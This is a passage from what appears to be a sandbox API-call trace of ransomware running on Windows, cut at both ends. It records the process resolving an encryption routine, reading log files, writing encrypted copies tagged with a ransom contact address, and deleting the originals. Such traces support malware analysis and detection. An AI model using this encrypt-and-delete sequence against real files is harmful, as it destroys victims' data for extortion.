returned 0x9b0 [0112.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0112.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0112.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0112.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0112.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0112.783] GetCurrentThreadId () returned 0x9b0 [0112.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0112.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.784] GetCurrentThreadId () returned 0x9b0 [0112.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0112.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0112.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0112.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x35857b8 [0112.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0112.784] GetCurrentThreadId () returned 0x9b0 [0112.784] GetLastError () returned 0x0 [0112.784] GetCurrentThreadId () returned 0x9b0 [0112.784] GetLastError () returned 0x0 [0112.784] GetCurrentThreadId () returned 0x9b0 [0112.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x358dc68 [0112.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0112.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0112.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.785] GetCurrentThreadId () returned 0x9b0 [0112.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0112.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0112.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0112.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0112.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.786] GetLastError () returned 0x0 [0112.786] GetProcAddress (hModule=0xed0000, lpProcName="CBC_encrypt") returned 0xed1090 [0112.786] GetCurrentThreadId () returned 0x9b0 [0112.786] GetLastError () returned 0x0 [0112.787] GetLastError () returned 0x0 [0112.787] GetLastError () returned 0x0 [0112.787] GetLastError () returned 0x0 [0112.787] GetCurrentThreadId () returned 0x9b0 [0112.787] GetLastError () returned 0x0 [0112.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0112.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.788] GetLastError () returned 0x0 [0112.789] GetLastError () returned 0x0 [0112.790] GetCurrentThreadId () returned 0x9b0 [0112.790] GetLastError () returned 0x0 [0112.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0112.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0112.790] GetLastError () returned 0x0 [0112.790] GetLastError () returned 0x0 [0112.790] GetCurrentThreadId () returned 0x9b0 [0112.790] GetLastError () returned 0x0 [0112.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0112.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.791] GetLastError () returned 0x0 [0112.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.791] CloseHandle (hObject=0x3ac) returned 1 [0112.791] GetLastError () returned 0x0 [0112.791] GetCurrentThreadId () returned 0x9b0 [0112.791] GetLastError () returned 0x0 [0112.791] GetLastError () returned 0x0 [0112.792] CloseHandle (hObject=0x39c) returned 1 [0112.792] GetLastError () returned 0x0 [0112.792] GetCurrentThreadId () returned 0x9b0 [0112.792] GetLastError () returned 0x0 [0112.792] GetLastError () returned 0x0 [0112.792] GetLastError () returned 0x0 [0112.792] GetLastError () returned 0x0 [0112.792] GetLastError () returned 0x0 [0112.792] DeleteFileA (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0112.794] GetLastError () returned 0x0 [0112.794] GetCurrentThreadId () returned 0x9b0 [0112.794] GetLastError () returned 0x0 [0112.794] GetCurrentThreadId () returned 0x9b0 [0112.794] GetLastError () returned 0x0 [0112.794] GetLastError () returned 0x0 [0112.794] GetLastError () returned 0x0 [0112.794] GetLastError () returned 0x0 [0112.794] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpFilePart=0x9bada4*="oobe_2017_09_07_03_08_57_737.log") returned 0x34 [0112.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0112.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0112.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0112.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0112.795] GetCurrentThreadId () returned 0x9b0 [0112.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0112.795] GetLastError () returned 0x0 [0112.795] GetLastError () returned 0x0 [0112.795] GetLastError () returned 0x0 [0112.795] GetLastError () returned 0x0 [0112.795] GetCurrentThreadId () returned 0x9b0 [0112.795] GetLastError () returned 0x0 [0112.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0112.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30282d8 [0112.795] GetLastError () returned 0x0 [0112.796] GetLastError () returned 0x0 [0112.796] GetLastError () returned 0x0 [0112.796] GetLastError () returned 0x0 [0112.796] GetCurrentThreadId () returned 0x9b0 [0112.796] GetLastError () returned 0x0 [0112.796] GetCurrentThreadId () returned 0x9b0 [0112.796] GetLastError () returned 0x0 [0112.796] GetLastError () returned 0x0 [0112.796] GetLastError () returned 0x0 [0112.796] GetLastError () returned 0x0 [0112.796] GetCurrentThreadId () returned 0x9b0 [0112.796] GetLastError () returned 0x0 [0112.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.797] GetLastError () returned 0x0 [0112.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0112.797] GetLastError () returned 0x0 [0112.797] GetLastError () returned 0x0 [0112.797] GetLastError () returned 0x0 [0112.797] GetCurrentThreadId () returned 0x9b0 [0112.797] GetLastError () returned 0x0 [0112.798] GetLastError () returned 0x0 [0112.798] GetLastError () returned 0x0 [0112.798] GetLastError () returned 0x0 [0112.798] GetLastError () returned 0x0 [0112.798] GetCurrentThreadId () returned 0x9b0 [0112.798] GetLastError () returned 0x0 [0112.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0112.798] GetLastError () returned 0x0 [0112.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0112.798] GetLastError () returned 0x0 [0112.798] GetLastError () returned 0x0 [0112.798] GetLastError () returned 0x0 [0112.799] GetCurrentThreadId () returned 0x9b0 [0112.799] GetLastError () returned 0x0 [0112.799] GetCurrentThreadId () returned 0x9b0 [0112.799] GetLastError () returned 0x0 [0112.799] GetLastError () returned 0x0 [0112.799] GetLastError () returned 0x0 [0112.799] GetLastError () returned 0x0 [0112.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.799] GetFileAttributesExA (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774)) returned 1 [0112.799] GetLastError () returned 0x0 [0112.799] GetCurrentThreadId () returned 0x9b0 [0112.800] GetLastError () returned 0x0 [0112.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0112.800] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662764 | out: pbBuffer=0x3662764) returned 1 [0112.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0112.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0112.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0112.800] GetCurrentThreadId () returned 0x9b0 [0112.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028328 [0112.800] GetLastError () returned 0x0 [0112.800] GetLastError () returned 0x0 [0112.800] GetLastError () returned 0x0 [0112.800] GetLastError () returned 0x0 [0112.801] GetCurrentThreadId () returned 0x9b0 [0112.801] GetLastError () returned 0x0 [0112.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0112.801] GetCurrentThreadId () returned 0x9b0 [0112.801] GetLastError () returned 0x0 [0112.801] GetLastError () returned 0x0 [0112.801] GetLastError () returned 0x0 [0112.801] GetLastError () returned 0x0 [0112.801] GetCurrentThreadId () returned 0x9b0 [0112.801] GetLastError () returned 0x0 [0112.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de628 [0112.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0112.802] GetLastError () returned 0x0 [0112.802] GetLastError () returned 0x0 [0112.802] GetLastError () returned 0x0 [0112.802] GetLastError () returned 0x0 [0112.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5e8 [0112.802] GetLastError () returned 0x0 [0112.802] CreateFileA (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.803] GetFileType (hFile=0x39c) returned 0x1 [0112.803] GetLastError () returned 0x0 [0112.803] GetCurrentThreadId () returned 0x9b0 [0112.803] GetLastError () returned 0x0 [0112.803] GetFileType (hFile=0x39c) returned 0x1 [0112.803] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.803] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.803] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.803] GetLastError () returned 0x0 [0112.804] GetCurrentThreadId () returned 0x9b0 [0112.804] GetLastError () returned 0x0 [0112.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0112.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0112.804] GetLastError () returned 0x0 [0112.804] GetLastError () returned 0x0 [0112.804] GetLastError () returned 0x0 [0112.804] GetLastError () returned 0x0 [0112.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de668 [0112.804] GetLastError () returned 0x0 [0112.804] CreateFileA (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.[Unlock11@protonmail.com].enc" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.805] GetFileType (hFile=0x3ac) returned 0x1 [0112.805] GetLastError () returned 0x0 [0112.805] GetCurrentThreadId () returned 0x9b0 [0112.805] GetLastError () returned 0x0 [0112.805] GetFileType (hFile=0x3ac) returned 0x1 [0112.805] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.805] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.805] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.805] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.805] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.806] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.806] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.806] GetLastError () returned 0x0 [0112.806] GetCurrentThreadId () returned 0x9b0 [0112.806] GetLastError () returned 0x0 [0112.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0112.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.806] GetLastError () returned 0x0 [0112.806] GetLastError () returned 0x0 [0112.806] GetCurrentThreadId () returned 0x9b0 [0112.806] GetLastError () returned 0x0 [0112.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.807] GetLastError () returned 0x0 [0112.807] GetLastError () returned 0x0 [0112.807] GetCurrentThreadId () returned 0x9b0 [0112.807] GetLastError () returned 0x0 [0112.807] GetLastError () returned 0x0 [0112.808] GetLastError () returned 0x0 [0112.808] GetCurrentThreadId () returned 0x9b0 [0112.809] GetLastError () returned 0x0 [0112.809] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x1789) returned 0x35c5908 [0112.809] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x1795) returned 0x35c5908 [0112.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4f8 [0112.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de628 | out: hHeap=0x2ad0000) returned 1 [0112.809] GetCurrentThreadId () returned 0x9b0 [0112.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1798) returned 0x33055a0 [0112.809] GetLastError () returned 0x0 [0112.809] GetLastError () returned 0x0 [0112.809] GetLastError () returned 0x0 [0112.809] GetLastError () returned 0x0 [0112.810] GetCurrentThreadId () returned 0x9b0 [0112.810] GetLastError () returned 0x0 [0112.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0112.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0112.810] GetLastError () returned 0x0 [0112.811] GetLastError () returned 0x0 [0112.811] GetCurrentThreadId () returned 0x9b0 [0112.811] GetLastError () returned 0x0 [0112.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0112.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0112.811] GetLastError () returned 0x0 [0112.811] GetLastError () returned 0x0 [0112.811] GetCurrentThreadId () returned 0x9b0 [0112.811] GetLastError () returned 0x0 [0112.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0112.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.813] GetLastError () returned 0x0 [0112.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.814] CloseHandle (hObject=0x3ac) returned 1 [0112.814] GetLastError () returned 0x0 [0112.814] GetCurrentThreadId () returned 0x9b0 [0112.814] GetLastError () returned 0x0 [0112.814] GetLastError () returned 0x0 [0112.814] CloseHandle (hObject=0x39c) returned 1 [0112.814] GetLastError () returned 0x0 [0112.814] GetCurrentThreadId () returned 0x9b0 [0112.814] GetLastError () returned 0x0 [0112.815] GetLastError () returned 0x0 [0112.815] GetLastError () returned 0x0 [0112.815] GetLastError () returned 0x0 [0112.815] GetLastError () returned 0x0 [0112.815] DeleteFileA (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0112.816] GetLastError () returned 0x0 [0112.816] GetCurrentThreadId () returned 0x9b0 [0112.816] GetLastError () returned 0x0 [0112.816] GetCurrentThreadId () returned 0x9b0 [0112.816] GetLastError () returned 0x0 [0112.816] GetLastError () returned 0x0 [0112.816] GetLastError () returned 0x0 [0112.816] GetLastError () returned 0x0 [0112.817] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", lpFilePart=0x9bada4*="PartnerSetupCompleteResult.log") returned 0x32 [0112.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0112.817] GetCurrentThreadId () returned 0x9b0 [0112.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0112.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0112.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0112.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0112.817] GetLastError () returned 0x0 [0112.817] GetLastError () returned 0x0 [0112.817] GetLastError () returned 0x0 [0112.817] GetLastError () returned 0x0 [0112.817] GetCurrentThreadId () returned 0x9b0 [0112.818] GetLastError () returned 0x0 [0112.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0112.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0112.818] GetCurrentThreadId () returned 0x9b0 [0112.818] GetLastError () returned 0x0 [0112.818] GetLastError () returned 0x0 [0112.818] GetLastError () returned 0x0 [0112.818] GetLastError () returned 0x0 [0112.818] GetCurrentThreadId () returned 0x9b0 [0112.818] GetLastError () returned 0x0 [0112.818] GetLastError () returned 0x0 [0112.818] GetLastError () returned 0x0 [0112.819] GetLastError () returned 0x0 [0112.819] GetLastError () returned 0x0 [0112.819] GetCurrentThreadId () returned 0x9b0 [0112.819] GetLastError () returned 0x0 [0112.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0112.819] GetLastError () returned 0x0 [0112.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0112.819] GetLastError () returned 0x0 [0112.819] GetLastError () returned 0x0 [0112.819] GetLastError () returned 0x0 [0112.819] GetCurrentThreadId () returned 0x9b0 [0112.819] GetLastError () returned 0x0 [0112.820] GetLastError () returned 0x0 [0112.820] GetLastError () returned 0x0 [0112.820] GetLastError () returned 0x0 [0112.820] GetLastError () returned 0x0 [0112.820] GetCurrentThreadId () returned 0x9b0 [0112.820] GetLastError () returned 0x0 [0112.820] GetCurrentThreadId () returned 0x9b0 [0112.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0112.820] GetLastError () returned 0x0 [0112.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0112.820] GetLastError () returned 0x0 [0112.820] GetLastError () returned 0x0 [0112.821] GetLastError () returned 0x0 [0112.821] GetCurrentThreadId () returned 0x9b0 [0112.821] GetLastError () returned 0x0 [0112.821] GetLastError () returned 0x0 [0112.821] GetLastError () returned 0x0 [0112.821] GetLastError () returned 0x0 [0112.821] GetLastError () returned 0x0 [0112.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0112.821] GetFileAttributesExA (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1 [0112.821] GetLastError () returned 0x0 [0112.821] GetCurrentThreadId () returned 0x9b0 [0112.822] GetLastError () returned 0x0 [0112.822] HeapFree (in: hHeap=0x2ad0000, 